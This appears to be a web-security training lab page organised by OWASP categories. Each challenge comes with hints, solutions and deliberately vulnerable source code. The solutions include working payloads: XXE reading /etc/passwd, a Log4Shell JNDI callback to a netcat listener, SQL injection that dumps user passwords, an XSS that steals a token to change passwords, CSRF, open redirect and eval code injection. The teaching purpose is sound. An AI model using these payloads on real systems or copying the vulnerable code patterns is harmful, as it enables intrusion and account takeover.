Skip to content

Challenges

Home page

Home page: http://index.lab.citadelo.sk

Tools, payloads and resources

Burp Suite installer version is recommended - there is Java bundle

BurpSuite Common Issues

Windows - Burp Suite -> Proxy -> Proxy Settings -> Proxy Listeners -> Suppor HTTP/2 - disabled

Windows - Issue with Burp Browser - stops loading resources after a while (20230629), open chrome from commandline: google-chrome.exe --proxy-server=127.0.0.1:8080 --ignore-certificate-errors

A01:2025 - Broken Access Control

Juice Shop - Got your Basket

URL: http://juice-shop.lab.citadelo.sk/

Find a way how to view foreign basket. Login and add some item to your basket and investgate further. Login: http://juice-shop.lab.citadelo.sk/#/login

Hint

How does reference my basket? Where is stored this information?

Solution
  1. Log in as any user.
  2. Put some products into your shopping basket.
  3. Inspect the Session Storage in your browser's developer tools to find a numeric bid value.
  4. Change the bid, e.g. by adding or subtracting 1 from its value.
  5. Visit http://juice-shop.lab.citadelo.sk/#/basket to solve the challenge.
Source code
module.exports = function retrieveBasket () {
  return (req: Request, res: Response, next: NextFunction) => {
    const id = req.params.id
    BasketModel.findOne({ where: { id }, include: [{ model: ProductModel, paranoid: false, as: 'Products' }] })
      .then((basket: BasketModel | null) => {
        /* jshint eqeqeq:false */
        if (((basket?.Products) != null) && basket.Products.length > 0) {
          for (let i = 0; i < basket.Products.length; i++) {
            basket.Products[i].name = req.__(basket.Products[i].name)
          }
        }

        res.json(utils.queryResultToJson(basket))
      }).catch((error: Error) => {
        next(error)
      })
  }
}

Redirect Me - Open redirect

URL: http://redirectme.lab.citadelo.sk

The app allows you to redirect two 2 destinations.

Hint

It is wrong implemented whitelist.

Solution

Try URL like: http://redirectme.lab.citadelo.sk/goto?url=http://attacker.com/?http://citadelo.com/en/cve/

Source code
whitelisted_urls = {
  "CVEs": "http://citadelo.com/en/cve/",
  "Citadelo Blog": "http://citadelo.com/en/blog/",
  "Citadelo Services": "http://citadelo.com/en/our-services/"
}

@app.route('/goto', methods=['GET'])
def goto():
  redirect_url = request.args.get('url')

  for _, url in whitelisted_urls.items():

    if url in redirect_url:

      return redirect(redirect_url, 302)

    else:

      flash('Invalid redirect URL')

  return redirect(url_for('index'))

Juice Shop - Profile CSRF - Legacy Thing

URL: http://juice-shop.lab.citadelo.sk/

Hint

Are there CSRF Tokens?

But check the cookie flags. (works only in Safari)

Solution

Login as your user http://juice-shop.lab.citadelo.sk/#/login. Then open new tab and enter following script on http://poc.lab.citadelo.sk

PoC:

<form action="http://juice-shop.lab.citadelo.sk/profile" method="POST">
    <input name="username" value="CSRF"/>
    <input type="submit"/>
</form>
<script>
    document.forms[0].submit();
</script>

PDF Generator - SSRF

URL: http://pdf.lab.citadelo.sk

Play with PDF generator. Check Wiki page.

Hint

Yes you can enter HTML tags. Play with them, try to load something else.

Solution #1

Yes, you can not load wiki directly. Use iframe for PDF generator. But on which port does it run?

Check if you can load something like:

Hello:<br>

<iframe src=http://citadelo.com height="1200" width="100%"></iframe>

Now dig deeper.

Solution #2

Load wiki page from local host:

Hello:<br>

<iframe src=http://127.0.0.1:8000/wiki height="1200" width="100%"></iframe>

Now dig deeper.

Solution #3

Load internal host:

Hello:<br>

<iframe src=http://internal height="1200" width="100%"></iframe>
Hello:<br>

<iframe src=http://internal/secret.png height="1200" width="100%"></iframe>
Source code
@app.route('/preview', methods=('GET', 'POST'))
def preview():
    if request.method == 'POST':

        content = request.form['content']

        if not content:
            flash('PDF content is required!')
        else:
            pdf_content = pdfkit.from_string(content)

            response = make_response(pdf_content)
            response.headers["Content-Type"] = "application/pdf"
            response.headers["Content-Disposition"] = "inline; filename=output.pdf"

            return response

    return render_template('preview.html')

@app.route('/wiki')
def wiki():
    if request.remote_addr == '127.0.0.1':
        return render_template('wiki.html')

    else:
        flash('Access allowed only from 127.0.0.1!')

    return redirect(url_for('index'))

A02:2025 - Security Misconfiguration

Forgotten - Unreferenced files

URL: http://forgotten.lab.citadelo.sk

Try to find unreferenced files. You can use Burp Intruder. Copy and paste the following wordlist into intruder payload set.

Wordlist to use
User
admin
server-status
backup
archive
administration
app
app.zip
uploads
tools
static
home
install
Hint

Investigate HTML source for available paths. And brute them.

Hint #2

Yes there is reference to /static/style.css. Hmm /static?

Solution

Access forgotten file:

URL: http://forgotten.lab.citadelo.sk/static/app.zip

Discount - Read the ultimate discount

URL: http://discount.lab.citadelo.sk

There is an option to access files from document root. I will not tell you how. I recommend you to focus on what kind of tech does it use, what language is it written.

Hint

You probably noticed or guessed that it is python app. What are the common python files on the server?

Solution

Access files like:

URL: http://discount.lab.citadelo.sk/requirements.txt

URL: http://discount.lab.citadelo.sk/app.py

Source code
from flask import Flask, render_template, request, jsonify
import json

app = Flask(__name__, static_folder='')

# Hardcoded discount codes (in a real app, these would be in a database)
DISCOUNT_CODES = {
    'XXX': 10,
    'DDD': 20,
    'FFF': 100
}

# Product details
PRODUCT = {
    'name': 'Pro Text Editor License',
    'base_price': 99.99,
    'description': 'Professional text editor with advanced features'
}

def calculate_total_discount(discount_codes):
    total_discount = 0
    valid_codes = []

    for code in discount_codes:
        code = code.strip().upper()
        if code in DISCOUNT_CODES:
            total_discount += DISCOUNT_CODES[code]
            valid_codes.append(code)

    # Cap total discount at 100%
    total_discount = min(total_discount, 100)
    return total_discount, valid_codes

@app.route('/')
def index():
    return render_template('index.html', product=PRODUCT)

@app.route('/check_discount', methods=['POST'])
def check_discount():
    data = request.get_json()
    discount_codes = data.get('discount_codes', [])

    if not isinstance(discount_codes, list):
        discount_codes = [discount_codes]

    total_discount, valid_codes = calculate_total_discount(discount_codes)
    final_price = PRODUCT['base_price'] * (1 - total_discount/100)

    if valid_codes:
        return jsonify({
            'valid': True,
            'discount': total_discount,
            'final_price': round(final_price, 2),
            'valid_codes': valid_codes
        })

    return jsonify({
        'valid': False,
        'message': 'No valid discount codes found'
    })

@app.route('/purchase', methods=['POST'])
def purchase():
    discount_codes = request.form.getlist('discount_codes[]')
    final_price = PRODUCT['base_price']

    total_discount, valid_codes = calculate_total_discount(discount_codes)
    final_price = final_price * (1 - total_discount/100)

    return render_template('success.html',
                         product=PRODUCT,
                         price=round(final_price, 2),
                         discount_codes=valid_codes if valid_codes else None,
                         total_discount=total_discount if valid_codes else None)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

Feedback - Send your feedback

Send feedback and check what is going on.

URL: http://feedback.lab.citadelo.sk

Hint

Does it accept XML? If yes, play with it. And exfil some data.

Solution

Play with external entity. Define external and and reference it.

<!ENTITY xxe SYSTEM "file:///etc/passwd">

Reference external entity:

<feedback><name>&xxe;</name></feedback>

PoC:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE feedback [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<feedback>
    <name>&xxe;</name>
    <email>test@example.com</email>
    <message>Test</message>
    <rating>5</rating>
</feedback>

PoC 2:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE feedback [
    <!ENTITY % dtd SYSTEM "http://poc.lab.citadelo.sk/cdata.dtd">
    %dtd;
    %all;
]>
<feedback>
    <name>&xxe;</name>
    <email>test@example.com</email>
    <message>Test</message>
    <rating>5</rating>
</feedback>

Source code
from flask import Flask, render_template, request, jsonify
from lxml import etree
import io

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/submit_feedback', methods=['POST'])
def submit_feedback():
    try:
        # Get XML data from request
        xml_data = request.data

        parser = etree.XMLParser(resolve_entities=True)

        tree = etree.parse(io.BytesIO(xml_data), parser)
        root = tree.getroot()

        # Extract feedback data
        name = root.find('name').text
        email = root.find('email').text
        message = root.find('message').text
        rating = root.find('rating').text

        feedback = {
            'name': name,
            'email': email,
            'message': message,
            'rating': rating
        }

        return jsonify({
            'status': 'success',
            'message': 'Feedback received successfully',
            'feedback': feedback
        })

    except Exception as e:
        return jsonify({
            'status': 'error',
            'message': str(e)
        }), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

A03:2025 - Software Supply Chain Failures

Apache Solr

We have a kinda older Apache solr instance in our internal infra, nobody cares, it works, not accessible from the internet. But should we care?

URL: http://solr.lab.citadelo.sk

Hint

You see it a java App.

Hint #2

Find a version and search for vulnerabilities.

Solution

Try to open this URL. Your payload will be processed by log4j library and executed. Replace the IP address with your listener / HTTP server. E.g. python -m http.server 4444 or nc -nlvp 4444. Resources https://www.winmill.com/how-to-test-your-own-vulnerability-to-the-log4shell-attack-chain-in-apache-solr/.

URL: http://solr.lab.citadelo.sk/solr/admin/cores?action=${jndi:ldap://YOUR_IP_ADDRESS:4444/${sys:java.version}}

fruh@kali:~$ nc -nvl YOUR_IP_ADDRESS 4444
Listening on YOUR_IP_ADDRESS 4444
Connection received on XXX.XXX.XXX.XXX 61479

A04:2025 - Cryptographic Failures

Paywall Bypass

URL: http://paywall.lab.citadelo.sk

There is a payment paywall. Try to bypass it.

Hint

Did you notice a note parameter?

Solution

Original: http://paywall.lab.citadelo.sk/pay?purchase_id=46432672&note=morning&cur=EUR&amount=599hmac_sum=7772717478dfa0428bdf617f3bfdb2012324c1f677b0ae16c20df73c5ed1cd59

PoC: http://paywall.lab.citadelo.sk/pay?purchase_id=46432672&note=99morning&cur=EUR&amount=5&hmac_sum=7772717478dfa0428bdf617f3bfdb2012324c1f677b0ae16c20df73c5ed1cd59

Source code
@app.route('/pay', methods=['GET'])
def pay():

    purchase_id = request.args.get('purchase_id')
    amount = request.args.get('amount')
    note = request.args.get('note')
    cur = request.args.get('cur')
    hmac_sum = request.args.get('hmac_sum')

    msg = purchase_id + amount + note + cur

    hmac_sum_calculated = hmac.new(app.config['SECRET_KEY'].encode('utf-8'), msg.encode('utf-8'), 'SHA256').hexdigest()

    if (hmac.compare_digest(hmac_sum, hmac_sum_calculated)):

        flash('Success', 'ok')

        rnum = urandom(24).hex()
        msg = hmac_sum_calculated + rnum
        approval = hmac.new(app.config['SECRET_KEY'].encode('utf-8'), msg.encode('utf-8'), 'SHA256').hexdigest()

        return redirect(url_for('index') + f'?success={approval}&rnum={rnum}')

    else:

        flash('Invalid HMAC!!! Payment modified.')

    return render_template('pay.html')

A05:2025 - Injection

Lazy guy - SQL Injection

URL: http://lazy.lab.citadelo.sk

Simple PHP login application. There are 2 users:

  • admin
  • test

Try to login as both of them.

Hint

There is an SQL injection. Try harder.

Hint #2

Injection is in JSON keys. Both of them, but focus on password key. Try payloads

{
    "username":"XXX",
    "FF":"YYY"
}

{
    "username":"XXX",
    "\" sql":"YYY"
}
Solution - test

There is an SQL injection. The SQL injection is in key names, because of parametrized query construction.

{
    "username":"XXX",
    "\" or username='test' -- -":"YYY"
}
Solution - admin

Same as for precious user just change username or use true condition.

{
    "username":"XXX",
    "\" or 1=1 -- -":"YYY"
}
{
    "username":"XXX",
    "\" or username='admin' -- -":"YYY"
}

If you would like to read more about it: http://liveoverflow.com/authentication-bypassing-in-codeigniter-due-to-empty-where-clause/

Source code
public function login()
{
    $db = db_connect();

    $request = \Config\Services::request();
    $json = $request->getJSON(true);

    if (is_null($json)) {
        $json = array(
                    "username" => "",
                    "password" => "",
                );
    }
    $query = $db->table('users')->getWhere($json, 1, 0);
    $row = $query->getRowArray();

    if(!$row) {
        $this->response->setStatusCode(403)->setBody("not found");
    } else {
        return json_encode($row);
    }
}

Juice shop - Search for more SQLi

URL:

Check the search API. Don't be fooled by client side queries.

SQLite cheat-sheet: http://index.lab.citadelo.sk/sqlite_injection.html

Hint

Here it is: http://juice-shop.lab.citadelo.sk/rest/products/search?q=apple - underlying server side API, calls

Hint #2

It is SQL injection, did you try following payloads?

'
')
Solution

Check if union query works:

')) UNION SELECT * FROM x--

Find columns count:

')) UNION SELECT '1', '2', '3', '4', '5' --
')) UNION SELECT '1', '2', '3', '4', '5', '6' --
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7' --
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8' --
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7',  '8', '9' --

Dump schema:

qwert')) UNION SELECT sql, '2', '3', '4', '5', '6', '7', '8', '9' FROM sqlite_schema--

Dump users:

qwert')) UNION SELECT username, password, role, totpsecret, '5', '6', '7', '8', '9' FROM Users--

Source code
module.exports = function searchProducts () {
  return (req: Request, res: Response, next: NextFunction) => {
    let criteria: any = req.query.q === 'undefined' ? '' : req.query.q ?? ''
    criteria = (criteria.length <= 200) ? criteria : criteria.substring(0, 200)
    models.sequelize.query(`
        SELECT * FROM Products WHERE (
            (name LIKE '%${criteria}%' OR description LIKE '%${criteria}%') 
            AND deletedAt IS NULL
        ) 
        ORDER BY name`)
      .then(([products]: any) => {
        const dataString = JSON.stringify(products)
        UserModel.findAll().then(data => {
          const users = utils.queryResultToJson(data)
        }).catch((error: Error) => {
          next(error)
        })

Calculator - Code injection

URL: http://calc.lab.citadelo.sk

Hint

How is the output calculated? Put there something unexpected.

Solution

Do arithmetic operations:

7*191
1-4

Identify issue:

{}
dict
print
__import__

__import__('os').system('sleep 5s')
Source code
@app.route('/calc', methods=('GET', 'POST'))
def calc():
    if request.method == 'POST':

        formula = request.form['formula']

        if not formula:
            flash('Formula is required!')

        else:
            result = eval(formula)
            flash('Formula result is: {}'.format(result))

    return render_template('calc.html')

Juice shop - Search and Exploit XSS

URL: http://juice-shop.lab.citadelo.sk/#/search?q=apple

There in an search functionality. Is it safe?

If it is not, change victim's password using this issue.

Hint

What is the issue, XSS?

Hint #2

We have XSS: <img src=x onerror=alert('xss')>

How to change users password, we need a token, yes? How to get it using javascript. Inspect page and found out.

Solution

Here are the steps:

  • we have XSS in search field
  • token is stored in localStorage.getItem('token')
  • check how the password is changed, we now from previous issue that it is not required to enter the old one

Now just create proper XHR request to exploit victim:

<iframe src="javascript:xmlhttp = new XMLHttpRequest(); xmlhttp.open('GET', 'http://juice-shop.lab.citadelo.sk/rest/user/change-password?new=XSS&repeat=XSS'); xmlhttp.setRequestHeader('Authorization',`Bearer=${localStorage.getItem('token')}`); xmlhttp.send();"></iframe>

JS Code looks like:

javascript:xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'http://juice-shop.lab.citadelo.sk/rest/user/change-password?new=XSS&repeat=XSS');
xmlhttp.setRequestHeader('Authorization',`Bearer=${localStorage.getItem('token')}`);
xmlhttp.send();

Here is one-click PoC: http://juice-shop.lab.citadelo.sk/#/search?q=%3Ciframe%20src%3D%22javascript%3Axmlhttp%20%3D%20new%20XMLHttpRequest%28%29%3B%20xmlhttp.open%28%27GET%27%2C%20%27https%3A%2F%2Fjuice-shop.lab.citadelo.sk%2Frest%2Fuser%2Fchange-password%3Fnew%3DXSS%26amp%3Brepeat%3DXSS%27%29%3B%20xmlhttp.setRequestHeader%28%27Authorization%27%2C%60Bearer%3D%24%7BlocalStorage.getItem%28%27token%27%29%7D%60%29%3B%20xmlhttp.send%28%29%3B%22%3E

Verify it.

Welcome here

URL: http://window.lab.citadelo.sk/

Chech it out wha tcan you do here.

Hint

Its a default browsers behaviour. Sad but true, but it's very rare.

Solution

Here are the steps:

  • open any page, like https://citadelo.com
  • open console and type:
  • set variable: window.name="<img src=x onerror=alert()>";
  • redirect tab to vulnerable page: window.location = "http://127.0.0.1:8000/xss-name.html";

A06:2025 - Insecure Design

Discount - Buy a text editor

URL: http://discount.lab.citadelo.sk

There is a best text editor with discount. Found out how to deal with it. Here is your coupon SAVE10.

Hint

Yes we have a discount 10%, what if there is also anything else?

Hint #2

What about reuse attacks?

Solution

Yes, you can use more discounts at once, and they will be accumulated. But you can use same discount without any limits. It is only client side check.

name=me&
email=test%40test.com&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10&
discount_codes%5B%5D=SAVE10

Source code
from flask import Flask, render_template, request, jsonify
import json

app = Flask(__name__, static_folder='')

# Hardcoded discount codes (in a real app, these would be in a database)
DISCOUNT_CODES = {
    'XXX': 10,
    'DDD': 20,
    'FFF': 100
}

# Product details
PRODUCT = {
    'name': 'Pro Text Editor License',
    'base_price': 99.99,
    'description': 'Professional text editor with advanced features'
}

def calculate_total_discount(discount_codes):
    total_discount = 0
    valid_codes = []

    for code in discount_codes:
        code = code.strip().upper()
        if code in DISCOUNT_CODES:
            total_discount += DISCOUNT_CODES[code]
            valid_codes.append(code)

    # Cap total discount at 100%
    total_discount = min(total_discount, 100)
    return total_discount, valid_codes

@app.route('/')
def index():
    return render_template('index.html', product=PRODUCT)

@app.route('/check_discount', methods=['POST'])
def check_discount():
    data = request.get_json()
    discount_codes = data.get('discount_codes', [])

    if not isinstance(discount_codes, list):
        discount_codes = [discount_codes]

    total_discount, valid_codes = calculate_total_discount(discount_codes)
    final_price = PRODUCT['base_price'] * (1 - total_discount/100)

    if valid_codes:
        return jsonify({
            'valid': True,
            'discount': total_discount,
            'final_price': round(final_price, 2),
            'valid_codes': valid_codes
        })

    return jsonify({
        'valid': False,
        'message': 'No valid discount codes found'
    })

@app.route('/purchase', methods=['POST'])
def purchase():
    discount_codes = request.form.getlist('discount_codes[]')
    final_price = PRODUCT['base_price']

    total_discount, valid_codes = calculate_total_discount(discount_codes)
    final_price = final_price * (1 - total_discount/100)

    return render_template('success.html',
                         product=PRODUCT,
                         price=round(final_price, 2),
                         discount_codes=valid_codes if valid_codes else None,
                         total_discount=total_discount if valid_codes else None)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

MFA - Try to login

URL: http://mfa.lab.citadelo.sk

There is a simple application with login and MFA support. Find a way how to bypass MFA, and access user profile.

Hint

Check what is returned after login.

Solution

What about to directly access home or admin page after you enter username and password?

Source code

you were too curious :P

A07:2025 - Authentication Failures

Empty - Authentication bypass

URL: http://empty.lab.citadelo.sk

Simple PHP login application. There are 2 users:

  • admin
  • test

Try to login as both of them.

Hint

User test is not able to remember long password.

Solution - test

User same password as username.

Solution - admin

There is an logic issue in the code. It is sufficient to omit both keys username and password. Then the empty SQL where clause is build and used. First user is taken from database.

Use following JSON:

{
    "XXXusername":"XXX",
    "XXXpassword":"YYY"
}

If you would like to read more about it: http://liveoverflow.com/authentication-bypassing-in-codeigniter-due-to-empty-where-clause/

Source code
public function login()
{
    $db = db_connect();
    $request = \Config\Services::request();
    $json = $request->getJSON(true);
    $where = [];
    if(isset($json['username']) || isset($json['password'])) {
        $where['username'] = $json['username'] ?? null;
        $where['password'] = $json['password'] ?? null;
    }
    $query = $db->table('users')->getWhere($where, 1, 0);
    $row = $query->getRowArray();
    if(!$row) {
        $this->response->setStatusCode(403)->setBody("not found");
    } else {
        return json_encode($row);
    }
}

Password change

URL: http://juice-shop.lab.citadelo.sk/

Find an issue within password change.

Login: http://juice-shop.lab.citadelo.sk/#/login

Hint

Play with parameters. Are they required?

Solution

Original request: http://juice-shop.lab.citadelo.sk/rest/user/change-password?current=OLD&new=XXXXX&repeat=XXXXX

PoC: http://juice-shop.lab.citadelo.sk/rest/user/change-password?new=B&repeat=B yields a 200 success returning the updated user as JSON!

Source code
module.exports = function changePassword () {
  return ({ query, headers, connection }: Request, res: Response, next: NextFunction) => {
    const currentPassword = query.current
    const newPassword = query.new
    const newPasswordInString = newPassword?.toString()
    const repeatPassword = query.repeat
    if (!newPassword || newPassword === 'undefined') {
      res.status(401).send(res.__('Password cannot be empty.'))
    } else if (newPassword !== repeatPassword) {
      res.status(401).send(res.__('New and repeated password do not match.'))
    } else {
      const token = headers.authorization ? headers.authorization.substr('Bearer='.length) : null
      const loggedInUser = security.authenticatedUsers.get(token)
      if (loggedInUser) {
        if (currentPassword && security.hash(currentPassword) !== loggedInUser.data.password) {
          res.status(401).send(res.__('Current password is not correct.'))
        } else {
          UserModel.findByPk(loggedInUser.data.id).then((user: UserModel | null) => {
            if (user) {
              user.update({ password: newPasswordInString }).then((user: UserModel) => {
                res.json({ user })
              }).catch((error: Error) => {
                next(error)
              })
            }
          }).catch((error: Error) => {
            next(error)
          })
        }
      } else {
        next(new Error('Blocked illegal activity by ' + connection.remoteAddress))
      }
    }
  }
}

Login as someone else

URL: http://login.lab.citadelo.sk

There is a simple application with login and signup. There are already 2 users demo@example.com and admin@example.com. Try to bypass authentication.

Hint

Maybe there is a anti-pattern.

Solution

Invoke error during authentication with valid username.

Source code
@app.route('/login',methods=['POST'])
def login_post():
    try:
        email = request.form['email']
        password = request.form['password']
        user = User.query.filter_by(email=email).first()

        if not user:
                flash('Invalid email or password', 'error')
                return redirect('/login')

        stored_password = user.password

        if stored_password == password:
            logger.info(f"Successful login for user: {email}")
            login_user(user)
            return redirect('/')
        else:
            flash('Invalid email or password', 'error')
            return redirect('/login')
    except Exception as e:
        logger.error(f"Exception during login for {email}: {str(e)}")
        logger.info(f"Granting access due to system error for user: {email}")

        user = User.query.filter_by(email=email).first()
        if user:
            login_user(user)
            flash('Login successful (system recovery mode)', 'success')
            return redirect('/')
        else:
            flash('User not found', 'error')
            return redirect('/login')

A09:2025 - Security Logging and Alerting Failures

Sensitive data logged

URL: http://juice-shop.lab.citadelo.sk/support/logs

Download application logs and find out sensitive data.

Solution

Find method change-password - password from GET params

Juice shop - More Challenges

http://pwning.owasp-juice.shop/companion-guide/latest/index.html